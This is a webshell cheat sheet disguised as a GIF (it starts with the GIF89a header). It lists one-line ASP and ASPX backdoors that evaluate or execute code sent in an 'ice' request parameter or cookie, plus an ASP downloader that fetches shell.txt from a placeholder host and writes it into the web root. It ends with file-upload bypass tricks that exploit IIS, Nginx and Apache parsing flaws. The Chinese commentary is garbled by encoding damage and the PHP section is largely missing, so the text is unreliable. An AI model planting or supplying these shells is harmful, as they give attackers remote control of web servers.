GIF89a ͼƬͷ [+]---------------------------------PHP---------------------------------[+] ")?> ');?> // ͬĿ¼ ice.php [+]---------------------------------PHP---------------------------------[+] *************************************************************************** [+]---------------------------------ASP---------------------------------[+] <%eval request("ice")%> <%www=REquEst("ice"):EvaL(www)%> <% Dim ConKey:ConKey="ice" Dim InValue:InValue=Request(ConKey) eval(InValue) %> <%E=request("ice") execute E%> <% Set xPost = createObject("Microsoft.XMLHTTP") xPost.Open "GET","http://www.xxx.com/shell.txt",0 'aspľıʽַ xPost.Send() Set sGet = createObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile "E:\WWWROOT\xxx.asp",2 %> }šԩ͐ // ANSI>Unicode : a }ݩ͐ // ice ϴһͼƬһ仰(xxx.jpg)ϴһ.aspļȥ: [+]---------------------------------ASP---------------------------------[+] *************************************************************************** [+]---------------------------------ASPX---------------------------------[+] <%@ Page Language="Jscript"%><%eval(Request.Item["ice"],"unsafe");%> <%@ Page Language="C#" ValidateRequest="false" %> <%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["ice"].Value))).CreateInstance("c",true,System.Reflection.BindingFlags.Default,null,new object[] { this },null,null);}catch{ }%> [+]---------------------------------ASPX---------------------------------[+] IIS 6.0 : x.asp/x.jpg x.asp;x.jpg ȫλᱻأԳԽһ仰ļΪ ;x.asp;x.jpg (IIS 7.5 a.aspx.a;.a.aspx.jpg..jpg ) Nginx : x.jpg/.php x.jpg%00.php Apache : x.php.x xx.jpg.jsp,xx.png.jsp Ϊ phpaspaspxһ仰ľĿͻˣΪ ice һ仰ļдЩӹ -- ̿ -- 2012-07-21